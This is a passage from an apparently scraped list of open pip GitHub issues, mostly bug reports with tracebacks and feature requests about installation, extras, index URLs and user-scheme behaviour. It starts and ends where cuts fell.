Successfully installed jwt cryptography typing idna pyasn1 six setuptools enum34 ipaddress cffi pycparser
Cleaning up...
(NAMECLASH)/tmp/NAMECLASH $ 

```
Lots of irrelevant stuff removed from log above (for the sake of making this issue easier to read). Analyzing what has been installed:

```
(NAMECLASH)/tmp/NAMECLASH $ pip show -f jwt
---
Name: jwt
Version: 0.5.2
Location: /tmp/NAMECLASH/lib/python2.7/site-packages
Requires: cryptography, typing
Files:
  ../jwt/jws.py
  ../jwt/jwk.py
  ../jwt/exceptions.py
  ../jwt/jwkset.py
  ../jwt/utils.py
  ../jwt/jwa.py
  ../jwt/jwt.py
  ../jwt/__init__.py
  ../jwt/jws.pyc
  ../jwt/jwk.pyc
  ../jwt/exceptions.pyc
  ../jwt/jwkset.pyc
  ../jwt/utils.pyc
  ../jwt/jwa.pyc
  ../jwt/jwt.pyc
  ../jwt/__init__.pyc
  ./
  PKG-INFO
  requires.txt
  SOURCES.txt
  dependency_links.txt
  top_level.txt

(NAMECLASH)/tmp/NAMECLASH $ grep Invalid /tmp/NAMECLASH/lib/python2.7/site-packages/jwt/exceptions.py
class InvalidKeyTypeError(JWTException):
```

Now install *silently conflicting* package, and analyzing what happened:

```
(NAMECLASH)/tmp/NAMECLASH $ pip install pyjwt
Downloading/unpacking pyjwt
  Downloading PyJWT-1.5.2-py2.py3-none-any.whl
Installing collected packages: pyjwt
Successfully installed pyjwt
Cleaning up...
(NAMECLASH)/tmp/NAMECLASH $ pip show -f pyjwt
---
Name: PyJWT
Version: 1.5.2
Location: /tmp/NAMECLASH/lib/python2.7/site-packages
Requires: 
Files:
Cannot locate installed-files.txt
(NAMECLASH)/tmp/NAMECLASH $ grep Invalid /tmp/NAMECLASH/lib/python2.7/site-packages/jwt/exceptions.py
class InvalidTokenError(Exception):
class DecodeError(InvalidTokenError):
class ExpiredSignatureError(InvalidTokenError):
class InvalidAudienceError(InvalidTokenError):
class InvalidIssuerError(InvalidTokenError):
class InvalidIssuedAtError(InvalidTokenError):
class ImmatureSignatureError(InvalidTokenError):
class InvalidKeyError(Exception):
class InvalidAlgorithmError(InvalidTokenError):
class MissingRequiredClaimError(InvalidTokenError):
InvalidAudience = InvalidAudienceError
InvalidIssuer = InvalidIssuerError
```

As you can see, `pip` silently allow the two packages to overwrite each other's `jwt/exceptions.py` file (and in particular the `InvalidKeyTypeError` is now gone, creating a whole lot of problem, depending on the order in which pip install ran)
user: davidedelvento
labels: type: bug: A confirmed bug or unintended behavior
resolution: deferred till PR: Further discussion will happen when a PR is made
UX: User experience related
issue_4617: state: open
title: extras_require doesn't work unless extras are all-lowercase
body: * Pip version: 9.0.1
* Python version: 3.5
* Operating system: Mac

### Description:

I tried to install `django-rest-swagger[reST]==0.3.10`, and it fails to install docutils:
```
$ pip install 'django-rest-swagger[reST]==0.3.10'
Collecting django-rest-swagger[reST]==0.3.10
  Using cached django_rest_swagger-0.3.10-py2.py3-none-any.whl
  Ignoring docutils: markers 'extra == "reST"' don't match your environment
Requirement already satisfied: PyYAML>=3.10 in /usr/local/virtualenvs/tmp-7024ad2664bea019/lib/python3.5/site-packages (from django-rest-swagger[rest]==0.3.10)
Requirement already satisfied: Django>=1.8 in /usr/local/virtualenvs/tmp-7024ad2664bea019/lib/python3.5/site-packages (from django-rest-swagger[rest]==0.3.10)
Requirement already satisfied: djangorestframework>=2.3.8 in /usr/local/virtualenvs/tmp-7024ad2664bea019/lib/python3.5/site-packages (from django-rest-swagger[rest]==0.3.10)
Requirement already satisfied: pytz in /usr/local/virtualenvs/tmp-7024ad2664bea019/lib/python3.5/site-packages (from Django>=1.8->django-rest-swagger[rest]==0.3.10)
Installing collected packages: django-rest-swagger
Successfully installed django-rest-swagger-0.3.10
```

django-rest-swagger has this in their [setup.py](https://github.com/marcgibbons/django-rest-swagger/blob/stable/0.3.x/setup.py#L56-L58):
```
extras_require = {
    'reST': ['docutils>=0.8'],
}
```

Stepping through the code, eventually `"reST"` is compared to `"rest"`, and the error is produced.
Seems like extras_require keys have to be lowercase in order to work.  No variation of "rest", "REST", "reST", etc, on the command line makes it succeed.

user: nedbat
labels: type: bug: A confirmed bug or unintended behavior
C: extras: Handling optional dependencies
issue_4615: state: open
title: pip install --index-url with shared directory (Windows) and UNC path
body: * Pip version: 9.0.1
* Python version: 3.5
* Operating system: Windows

### Description:

I've created my own Pypi repository (https://www.python.org/dev/peps/pep-0503/). My idea was to put it in a shared directory (Windows), say `host1/my-pypi`:
    
    (dir) host1\my-pypi
         -> (dir) toto
             (file) index.html
             (file) toto-1.0.0.whl
         -> (file) index.html

the `index.html` files look somehow normal (same as in the pep-503 example). I try, from another computer, say `host2` that has access to this shared directory to install toto package using: 

    pip install --index-url file://host1/my-pipy toto
but it fails (when it tries to read the file with a `OSError: [Errno 22] Invalid argument: '\\\\host1\\my-pypi\\'`).

(link to SO: https://stackoverflow.com/questions/45015527/pip-install-on-a-shared-directory-windows)

### What I've run:

Tried pretty much everything so I started to debug:

1. `index.py`, method `find_all_candidates`: it automatically changes my url list from `[file://host1/my-pypi/toto]`, so it seems that it never tries to read `host1\my-pypi\index.html`... weird?

2. `index.py`, method `get_page`:

        # Tack index.html onto file:// URLs that point to directories
        (scheme, netloc, path, params, query, fragment) = \
            urllib_parse.urlparse(url)
        if (scheme == 'file' and
                os.path.isdir(urllib_request.url2pathname(path))):
            # add trailing slash if not present so urljoin doesn't trim
            # final segment
            if not url.endswith('/'):
                url += '/'
            url = urllib_parse.urljoin(url, 'index.html')
            logger.debug(' file: URL is directory, getting %s', url)
        resp = session.get(
            url,
            headers={
                "Accept": "text/html",
                "Cache-Control": "max-age=600",
            },
        )
As expected, we have: 

        scheme = 'file'
        netloc = 'host1'
        path = '/my-pypi/'
but the check condition `os.path.isdir(urllib_request.url2pathname(path)))` is obviously false as we've discarded the network location. Hence `index.html` is not appended to the path (that would've been correct otherwise), and hence the error while trying to read a file that does not exist.


user: vbod
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
type: support: User Support
issue_4582: state: open
title: PEP 518 build requirements cannot be overriden by user
body: > Apparently not, it seems to call `pip install --ignore-installed ...`.
Because the build itself is not be isolated from the environment in
other respects, I'm not sure if this is actually sensible behavior by pip...

If the target computer already has a satisfactory version of numpy, then the build system should use that version. Only if the version is not already installed should pip use an isolated environment.

Related: scipy/scipy#7309
user: ghost
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
PEP implementation: Involves some PEP
issue_4580: state: open
title: Behavior change between 8.1.2 and 9.0.1 of pip breaks --extra-index-url in requirements files
body: * Pip version: 9.0.1
* Python version: Python 2.7.13
* Operating system: Debian Stretch

### Description:

When moving from Debian Jesse to Stretch, the newer version of pip gets picked up, and ends up breaking our docker build. Our `requirements.txt` file contains the following, and worked successfully when using `pip` version 8.1.2

```
grpcio

--extra-index-url <SANITIZED>
wrigley==0.0.4
junos-eznc
python-consul
retry
```

Moving to 9.0.1 results in the following error

```
Collecting wrigley==0.0.4 (from -r requirements.txt (line 4))
Exception:
Traceback (most recent call last):
  File "/usr/lib/python2.7/dist-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/usr/lib/python2.7/dist-packages/pip/commands/install.py", line 342, in run
    requirement_set.prepare_files(finder)
  File "/usr/lib/python2.7/dist-packages/pip/req/req_set.py", line 380, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "/usr/lib/python2.7/dist-packages/pip/req/req_set.py", line 554, in _prepare_file
    require_hashes
  File "/usr/lib/python2.7/dist-packages/pip/req/req_install.py", line 278, in populate_link
    self.link = finder.find_requirement(self, upgrade)
  File "/usr/lib/python2.7/dist-packages/pip/index.py", line 465, in find_requirement
    all_candidates = self.find_all_candidates(req.name)
  File "/usr/lib/python2.7/dist-packages/pip/index.py", line 423, in find_all_candidates
    for page in self._get_pages(url_locations, project_name):
  File "/usr/lib/python2.7/dist-packages/pip/index.py", line 568, in _get_pages
    page = self._get_page(location)
  File "/usr/lib/python2.7/dist-packages/pip/index.py", line 683, in _get_page
    return HTMLPage.get_page(link, session=self.session)
  File "/usr/lib/python2.7/dist-packages/pip/index.py", line 795, in get_page
    resp.raise_for_status()
  File "/usr/share/python-wheels/requests-2.12.4-py2.py3-none-any.whl/requests/models.py", line 893, in raise_for_status
    raise HTTPError(http_error_msg, response=self)
HTTPError: 404 Client Error: Not Found for url: https://pypi.python.org/simple/wrigley/
```


user: sc68cal
labels: type: bug: A confirmed bug or unintended behavior
C: finder: PackageFinder and index related code
issue_4575: state: open
title: Adopting "working" scheme for every run
body: Just carrying over my idea in https://github.com/pypa/pip/issues/1056#issuecomment-218130183, for proper dedicated discussion.

> AFAIK, there are 3 possible schemes for packages:
> 
> - "system" - for system/global packages (`--system`)
> - "user" - for packages installed in user space (`--user`)
> - "local" - for virtualenv packages (`--local`)
>
> pip enforces a "working" scheme on every run. Outside a virtualenv, the default working scheme would be "system" (It should really be "user", that's another issue #1668). Inside a virtualenv, the default working scheme should be "local". Passing `--system` or `--user` or `--local` overrides the working scheme.
> 
> Only packages in the same scheme as the working scheme can be modified. By modifying, I mean installing or uninstalling a package. Trying to modify a package in a different scheme is not allowed and pip would print a message and error out.
> 
> So, modifying a package in system scheme with a "user" working scheme is not allowed. Nor is modifing a package in user scheme with a "system" working scheme. Niether are the other permutations with "local".
> 
> I think this results in a pretty simple behaviour model.

As @ncoghlan pointed out, this would need some logic to understand that user installs shadow system ones. Also, I would slightly change this to spell it like `--scheme {global,user,venv}` because I like how this signifies exclusiveness of the behaviours better than plain flags do and is consistent with some internal configuration stuff.

Additionally, while doing this:
- preparatory work of #1668 can also be done, meaning that defaulting to user would just be flipping the default (something like what we did for `--upgrade-strategy`).
- addresses #1056 by requiring the user to specify the scheme that they are working with.

/ping @dstufft @pfmoore
user: pradyunsg
labels: type: enhancement: Improvements to functionality
type: refactor: Refactoring code
C: user scheme: Handling of packages in user-specific directories
state: awaiting PR: Feature discussed, PR is needed
UX: User experience related
issue_4573: state: open
title: "pip install --target" produces silently broken installation with latest setuptools
body: I assume this is an issue with `setuptools`, not `pip`, but for the sake of completeness, I'm mentioning this issue here, too.

For details, see: https://github.com/pypa/setuptools/issues/1071

user: vog
labels: type: bug: A confirmed bug or unintended behavior
C: target: pip install's --target option's behaviour handling
issue_4551: state: open
title: Add an upgrade-all command
body: Ref: #59 
Blocked by: #988

Moving the discussion of upgrade-the-world functionality to a separate issue. It doesn't make sense to start this discussion until there's a dependency resolver added.
user: pradyunsg
labels: C: upgrade: The logic of upgrading packages
state: blocked: Can not be done until something else is done
type: feature request: Request for a new feature
issue_4549: state: open
title: Documentation for local directory --index-url is inadequate
body: The `--index-url` documentation says its parameter "should point to a repository compliant with PEP 503 (the simple repository API) or a local directory laid out in the same format." 

PEP 503 says that index directory URLs must "respond with a valid HTML5 page". 

But what does it mean for a local directory to "respond with a valid HTML5 page"? #846 indicates that pip will look for an `index.html` file in the directory. But this is not documented anywhere.
user: mhsmith
labels: type: docs: Documentation related
issue_4528: state: open
title: "ValueError: invalid truth value" on weird env vars
body: * Pip version: 9.0.1
* Python version: 2.7
* Operating system: xenial

Seem that pip tried to gulp up all the `pip_*` env vars that match an option, even when it shouldn't, eg:
```
> pip_version=123 pip
Traceback (most recent call last):
  File "/usr/local/bin/pip", line 11, in <module>
    sys.exit(main())
  File "/usr/local/lib/python2.7/dist-packages/pip/__init__.py", line 219, in main
    cmd_name, cmd_args = parseopts(args)
  File "/usr/local/lib/python2.7/dist-packages/pip/__init__.py", line 168, in parseopts
    general_options, args_else = parser.parse_args(args)
  File "/usr/lib/python2.7/optparse.py", line 1384, in parse_args
    values = self.get_default_values()
  File "/usr/local/lib/python2.7/dist-packages/pip/baseparser.py", line 283, in get_default_values
    defaults = self._update_defaults(self.defaults.copy())  # ours
  File "/usr/local/lib/python2.7/dist-packages/pip/baseparser.py", line 230, in _update_defaults
    val = strtobool(val)
  File "/usr/lib/python2.7/distutils/util.py", line 325, in strtobool
    raise ValueError, "invalid truth value %r" % (val,)
ValueError: invalid truth value '123'
```

Trying to debug this proves that it tries to parse the env var for the `--verbose` option:
```
> pip_version=123 python -mpdb `which pip`                                                09:25
> /usr/local/bin/pip(4)<module>()
-> import re
(Pdb) c
Traceback (most recent call last):
  File "/usr/lib/python2.7/pdb.py", line 1314, in main
    pdb._runscript(mainpyfile)
  File "/usr/lib/python2.7/pdb.py", line 1233, in _runscript
    self.run(statement)
  File "/usr/lib/python2.7/bdb.py", line 400, in run
    exec cmd in globals, locals
  File "<string>", line 1, in <module>
  File "/usr/local/bin/pip", line 4, in <module>
    import re
  File "/usr/local/lib/python2.7/dist-packages/pip/__init__.py", line 219, in main
    cmd_name, cmd_args = parseopts(args)
  File "/usr/local/lib/python2.7/dist-packages/pip/__init__.py", line 168, in parseopts
    general_options, args_else = parser.parse_args(args)
  File "/usr/lib/python2.7/optparse.py", line 1384, in parse_args
    values = self.get_default_values()
  File "/usr/local/lib/python2.7/dist-packages/pip/baseparser.py", line 283, in get_default_values
    defaults = self._update_defaults(self.defaults.copy())  # ours
  File "/usr/local/lib/python2.7/dist-packages/pip/baseparser.py", line 230, in _update_defaults
    val = strtobool(val)
  File "/usr/lib/python2.7/distutils/util.py", line 325, in strtobool
    raise ValueError, "invalid truth value %r" % (val,)
ValueError: invalid truth value '123'
Uncaught exception. Entering post mortem debugging
Running 'cont' or 'step' will restart the program
> /usr/lib/python2.7/distutils/util.py(325)strtobool()
-> raise ValueError, "invalid truth value %r" % (val,)
(Pdb) u
> /usr/local/lib/python2.7/dist-packages/pip/baseparser.py(230)_update_defaults()
-> val = strtobool(val)
(Pdb) option
<Option at 0x7f0474edcf80: -V/--version>
```

user: ionelmc
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
C: cli: Command line interface related things (optparse, option grouping etc)
issue_4515: state: open
title: Pip should indicate files from cache used to install requirement
body: For each requirement pip prints `Collecting <requirement>` line. For requirements obtained from vcs it then prints `Cloning <url>` line and for requirements downloaded it prints `Downloading <url>` line. However when requirement is taken from the cache there's no information on the location and the name of file used. This is inconsistent and hides important information from user.
user: piotr-dobrogost
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
issue_4487: state: open
title: pip rollback on install failure does not preserve filename case
body: * Pip version: 9.0.1
* Python version: 2.7.13 (v2.7.13:a06454b1afa1, Dec 17 2016, 20:42:59) [MSC v.1500 32 bit (Intel)] on win32
* Operating system: Win8.x, Windows Server 2008 R2 (I guess all Windows family)

### Description:
I'm installing my custom pip package using --ignore-installed flag (as the target machine may have local modifications, which I need to get rid of).
Modules and packages in the project being distributed are named according to the some scheme that involves camel notation (i.e. it's required to preserve the case)

The installation goes in 2 steps:
1. Install from wheel to some target location
2. Install as editable + dependencies (I need the projects package to appear in the pip list/freeze)

During step (1) the pip calls uninstall and prepares the list of current project contents using `pip.req.req_uninstall.UninstallPathSet` for the possible rollback if the install/upgrade fails. It applies `os.path.normcase` to the collected paths, which for Windows resolves to the lowercase - as a result, the project 'snapshot' has all its content lowercase.
Furthermore, if the installation fails and the project gets rolled back to that snapshot - it's broken since all the packages/modules are now lower case and `import` statements referring to those modules fail.

Any advice here (beside renaming the packages/modules)?

### What I've run:

```
pip install --no-index -f file:///C:/projects/proj_wheels/project-name-1.2.17-py2-none-any.whl --ignore-installed --target c:\projects\Proj project-name --no-compile --no-deps --log %TEMP%\install.log --upgrade
cd c:\projects\Proj
pip install -e . --no-compile --log %TEMP%\install.log
```

user: evaisman-il
labels: type: bug: A confirmed bug or unintended behavior
OS: windows: Windows specific
state: awaiting PR: Feature discussed, PR is needed
issue_4475: state: open
title: pip should support custom authentication handlers for private pypi
body: * Pip version: 9.0.1
* Python version: 2.7.13
* Operating system: MacOS X Sierra 10.12.4 `*`

`*` any OS, really

### Description:

This is a feature request.

It would be ***super-awesome++*** if pip supported custom authentication handler configuration so private pypi repositories are not restricted to http basic auth only. Basically, make MultiDomainBasicAuth the default and no longer the ONLY option in a PipSession as it is today: https://github.com/pypa/pip/blob/9.0.1/pip/download.py#L331-L332

This limitation prevents easy integration with stronger authentication (e.g. 2-way TLS, 2FA, etc.) and SSO schemes at enterprises with private pypi repositories. The lack of support makes basic auth credential distribution and leaking unnecessarily difficult problems to address and combat.
user: zmt
labels: C: download: About fetching data from PyPI and other sources
resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_4455: state: open
title: Incorrect path for local package in requirements.txt
body: * Pip version: 9.0.1 
* Python version: 2.7.10
* Operating system: Mac OS 10.12.4

### Description:

I am trying to produce a requirements.txt that includes the correct path for a local package. 


### What I've run:

```
pip install -e . 
pip freeze > requirements.txt 
```
Rather than seeing `-e .` inside requirements.txt,  I am seeing -e `git+git@github.com:qfq8wf77qwf8/hedgehog-test.git@12a6c0a1bf00b76c6a18e15d295fde6b70814fbd#egg=hedgehog` (which is the location of my github repo)

When I distribute requirements.txt to another computer, pip will attempt to install via that address (which requires my ssh key) as opposed to the current directory (which is a local package). 


user: qfq8wf77qwf8
labels: C: freeze: 'pip freeze' related
state: needs discussion: This needs some more discussion
issue_4427: state: open
title: Sandbox the running of setup.py
body: The basic idea here is to execute ``setup.py`` (and in the future, the abstract build system) inside of a OS level sandbox. On linux this can be done with the SELinux ``sandbox`` command and on macOS this can be done with ``sandbox-exec``. There is an [example](https://github.com/Homebrew/brew/blob/master/Library/Homebrew/sandbox.rb) of doing this for macOS in Homebrew.

This is a longer term thing, and likely will require at a minimum getting PEP 518 landed and most people switched over to that (at least, in order to get restrictive about things like network access). This would make it *safer* to build a wheel (although I'd hesitate to call it *safe*).
user: dstufft
labels: type: security: Has potential security implications
type: feature request: Request for a new feature
issue_4383: state: open
title: Add --global-option to egg_info command too
body: * Pip version: 9.0.1
* Python version: 2.7.12
* Operating system: Ubuntu 16.04

### Description:

I maintain a package that has many dependencies, which are also conditional to a specific argument to setup.py.

If I pass this argument to pip, like this:

```
pip install ./ --global-option="--argument=opt1" -vvv
```

Then in the very first few lines I see the output:

```
Running command python setup.py egg_info
```

And the wrong list of dependencies is fetched (ie, as if I did not pass the argument at all).

If I run in the project directory the following command:

```
python setup.py egg_info --argument=opt1
```

Then the correct list of dependencies is added.

Can the specified global options be added to it, like they are for build and install?
user: fabio-t
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
C: PEP 517 impact: Affected by PEP 517 processing
issue_4356: state: open
title: DistInfoDistribution._compute_dependencies fails if the package has extras_require that are PEP440 versions.
body: * Pip version: 9.0.1
* Python version: 2.7.8
* Operating system: Windows 7

### Description:

I have a package which provides extras. The extras keys happen to have the format of PEP440 versions, such as `3.2.1` or `3.0`.
When installing the package using `pip install`, I end up with an exception (see in the "What I've run" section).

Note: While this occured using `pip`, I'm not exactly sure who is beign faulty (pip, setuptools, pkg_resources, packaging?)

### What I've run:

Here's the setup.py to make a package that reproduces the issue:
```
from setuptools import setup


setup(
    name='my-test-pkg',
    version='1.2.3',
    description='Reproducing install issue with PEP440 extras.',
    install_requires=[],
    extras_require={
        '3.2.1': [  # The extra key is a PEP440 version
            'requests<3.0.0'
        ],
    }

)

```

Then, make a wheel:
```
 python setup.py bdist_wheel --dist-dir _build/dist
 # or, using pip:
 pip wheel . -w _build/dist
```

Then, install the package (not even using the extra):
```
 pip install --find-links _build/dist/ my-test-pkg==1.2.3
```

And the result:
```
Collecting my-test-pkg==1.2.3
c:\python27\lib\site-packages\pip\_vendor\requests\packages\urllib3\util\ssl_.py:318: SNIMissingWarning: An HTTPS request has been made, but the SNI (Subject Name Indication) extension to TLS is not available on this platform. This may cause the server to present an incorrect TLS certificate, which can cause validation failures. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.io/en/latest/security.html#snimissingwarning.
  SNIMissingWarning
c:\python27\lib\site-packages\pip\_vendor\requests\packages\urllib3\util\ssl_.py:122: InsecurePlatformWarning: A true SSLContext object is not available. This prevents urllib3 from configuring SSL appropriately and may cause certain SSL connections to fail. You can upgrade to a newer version of Python to solve this. For more information, see https://urllib3.readthedocs.io/en/latest/security.html#insecureplatformwarning.
  InsecurePlatformWarning
Exception:
Traceback (most recent call last):
  File "c:\python27\lib\site-packages\pip\basecommand.py", line 215, in main
    status = self.run(options, args)
  File "c:\python27\lib\site-packages\pip\commands\install.py", line 335, in run
    wb.build(autobuilding=True)
  File "c:\python27\lib\site-packages\pip\wheel.py", line 749, in build
    self.requirement_set.prepare_files(self.finder)
  File "c:\python27\lib\site-packages\pip\req\req_set.py", line 380, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "c:\python27\lib\site-packages\pip\req\req_set.py", line 699, in _prepare_file
    set(req_to_install.extras) - set(dist.extras)
  File "c:\python27\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2757, in extras
    return [dep for dep in self._dep_map if dep]
  File "c:\python27\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2799, in _dep_map
    self.__dep_map = self._compute_dependencies()
  File "c:\python27\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2816, in _compute_dependencies
    common = frozenset(reqs_for_extra(None))
  File "c:\python27\lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 2813, in reqs_for_extra
    if not req.marker or req.marker.evaluate({'extra': extra}):
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\markers.py", line 303, in evaluate
    return _evaluate_markers(self._markers, current_environment)
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\markers.py", line 234, in _evaluate_markers
    groups[-1].append(_eval_op(lhs_value, op, rhs_value))
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\markers.py", line 191, in _eval_op
    return spec.contains(lhs)
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\specifiers.py", line 170, in contains
    item = self._coerce_version(item)
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\specifiers.py", line 141, in _coerce_version
    version = parse(version)
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\version.py", line 31, in parse
    return Version(version)
  File "c:\python27\lib\site-packages\pip\_vendor\packaging\version.py", line 200, in __init__
    match = self._regex.search(version)
TypeError: expected string or buffer
```

### What I figured out

I went around the code in the stack trace and managed to figure what's happening:

The `TypeError` comes from trying to parse `None` as a `packaging.Version` object.
The `None` comes from `DistInfoDistribution._compute_dependencies`, with this call:
`common = frozenset(reqs_for_extra(None))`.

Later, during the markers evaluation in `packaging.markers`, at line 185, we have this function:
```
def _eval_op(lhs, op, rhs):
    try:
        spec = Specifier("".join([op.serialize(), rhs]))
    except InvalidSpecifier:
        pass
    else:
        return spec.contains(lhs)

    oper = _operators.get(op.serialize())
    if oper is None:
        raise UndefinedComparison(
            "Undefined {0!r} on {1!r} and {2!r}.".format(op, lhs, rhs)
        )

    return oper(lhs, rhs)
```

As `rhs` is the extra key, a PEP440 version (`3.2.1`), the `Specifier` creation succeeds, and we call `return spec.contains(lhs)`. In this case, `lhs` is the `None` I pointed out earlier, which cause the `TypeError` when trying to parse it as a version.
Note that if `rhs` was not a version-like string (such as `foobar` or `security`), the `Specifier` creation would fail, (I think) and we would execute `oper = _operators.get(op.serialize())` and `return oper(lhs, rhs)` instead.

### How to fix

I'm not sure. I feel like the logic in `_eval_op` is not precise enough, or maybe the marker evaluation is not meant to be used this way. I'm not familiar enough with pip/pkg_ressources/packaging structure and interaction to tell what's going to happen if I change any of this.

I'd need the input of someone with a lot more knowledge about the project to help sort this out.

I tried making this as clear as possible, but don't hesitate to ask for details.
user: vphilippon
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
kind: crash: For situations where pip crashes
state: awaiting PR: Feature discussed, PR is needed
issue_4337: state: open
title: pip install --user tries to uninstall from system site-packages
body: * Pip version: 9.0.1
* Python version: 3.5
* Operating system: Mac (Macports)

### Description:

I've been a happy user of pip for a while, thank you for all your work!

Now (possibly after a recent pip update), the bahaviour has changed and
```
pip install . --user
```
from a source folder in a Python project I work on (Gammapy) tries to uninstall a stable 0.5 version of Gammapy I have in the Macports site-packages.

I wasn't expecting pip to do this uninstall and it's not clear to me from the pip 9.0 and 9.0.1 release notes that this is an intended change in behaviour.

Is this a bug or am I doing it wrong?
What's the workaround?

### What I've run:

```
$ pip --version
pip 9.0.1 from /opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages (python 3.5)
$ pip install . --user
Processing /Users/deil/code/gammapy
Requirement already satisfied: numpy>=1.8 in /opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages (from gammapy==0.6.dev4330)
Requirement already satisfied: astropy>=1.3 in /Users/deil/Library/Python/3.5/lib/python/site-packages (from gammapy==0.6.dev4330)
Requirement already satisfied: regions in /Users/deil/Library/Python/3.5/lib/python/site-packages (from gammapy==0.6.dev4330)
Requirement already satisfied: click in /opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages (from gammapy==0.6.dev4330)
Installing collected packages: gammapy
  Found existing installation: gammapy 0.5
    Uninstalling gammapy-0.5:
Exception:
Traceback (most recent call last):
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/shutil.py", line 544, in move
    os.rename(src, real_dst)
PermissionError: [Errno 13] Permission denied: '/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/gammapy' -> '/var/folders/sb/4qv5j4m90pz1rw7m70rj1b1r0000gn/T/pip-lc_5uj1j-uninstall/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/gammapy'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/commands/install.py", line 342, in run
    prefix=options.prefix_path,
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/req/req_set.py", line 778, in install
    requirement.uninstall(auto_confirm=True)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/req/req_install.py", line 754, in uninstall
    paths_to_remove.remove(auto_confirm)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/req/req_uninstall.py", line 115, in remove
    renames(path, new_path)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/site-packages/pip/utils/__init__.py", line 267, in renames
    shutil.move(old, new)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/shutil.py", line 556, in move
    rmtree(src)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/shutil.py", line 480, in rmtree
    _rmtree_safe_fd(fd, path, onerror)
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/shutil.py", line 438, in _rmtree_safe_fd
    onerror(os.unlink, fullname, sys.exc_info())
  File "/opt/local/Library/Frameworks/Python.framework/Versions/3.5/lib/python3.5/shutil.py", line 436, in _rmtree_safe_fd
    os.unlink(name, dir_fd=topfd)
PermissionError: [Errno 13] Permission denied: '__init__.py'
```

user: cdeil
labels: type: bug: A confirmed bug or unintended behavior
C: user scheme: Handling of packages in user-specific directories
issue_4296: state: open
title: pip install --user -e tries to uninstall system-wide version, unlike pip install --user
body: * Pip version: 9.0.1
* Python version: 3.6
* Operating system: Arch Linux

### Description:

Tried to install pylint in user, editable mode.  Failed as pip tries to uninstall the system-wide version.
While this *could* be a reasonable behavior, this is inconsistent with non-editable installs, which do NOT attempt to remove the system-wide version

### What I've run:

```
$ pip install --user -e . # from pylint source directory, fails with permission error
$ pip install --user . # works, doesn't try to remove syswide install
```

user: anntzer
labels: type: bug: A confirmed bug or unintended behavior
C: user scheme: Handling of packages in user-specific directories
issue_4289: state: open
title: Issue with "pip download --platform" semantics
body: * Pip version: 9.0.1
* Python version: 2.7.13
* Operating system: OSX 10.11.6

I want to download python packages on my Mac with pip to bundle with a product, which will be transferred to a Linux x86_64 machine without external internet access where they will eventually be "pip install"'d.

I'm having trouble doing this with "pip download".  Ideally, I would run "pip download <package> --platform linux_x86_64" (also side note, docs for platform options are basically nonexistent, had to grep the source code) and it would download wheels for that platform when possible, and otherwise source distributions.

However, using "--platform" returns this "ERROR: --only-binary=:all: must be set", and when I add that setting, I can't download packages that don't have linux wheels (because it won't default to using source distributions).  I don't understand the rationale behind this restriction.
user: robertf224
labels: type: enhancement: Improvements to functionality
C: download: About fetching data from PyPI and other sources
issue_4271: state: open
title: Installing without an internet connection erroneous reports requirements are up to date
body: * Pip version: 9.0.1
* Python version: 3.5
* Operating system: Fedora 25

### Description:

Installing without an internet connection gives erroneous output.

Specifically after attempting to fetch some information from the net, it will report that a requirement is up to date.
I had pytest-2.9.2 installed, and without internet it shows
```
Requirement already up-to-date: pytest in /usr/lib/python3.5/site-packages
```
With internet, it upgrades to pytest-3.0.6.

### What I've run:

```
$ python3 -m pip install -U pytest
Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f77960b9cc0>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/pytest/
Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connection broken by 'NewConnectionError('<pip._vendor.requests.packages.urllib3.connection.VerifiedHTTPSConnection object at 0x7f779605a128>: Failed to establish a new connection: [Errno -2] Name or service not known',)': /simple/pytest/
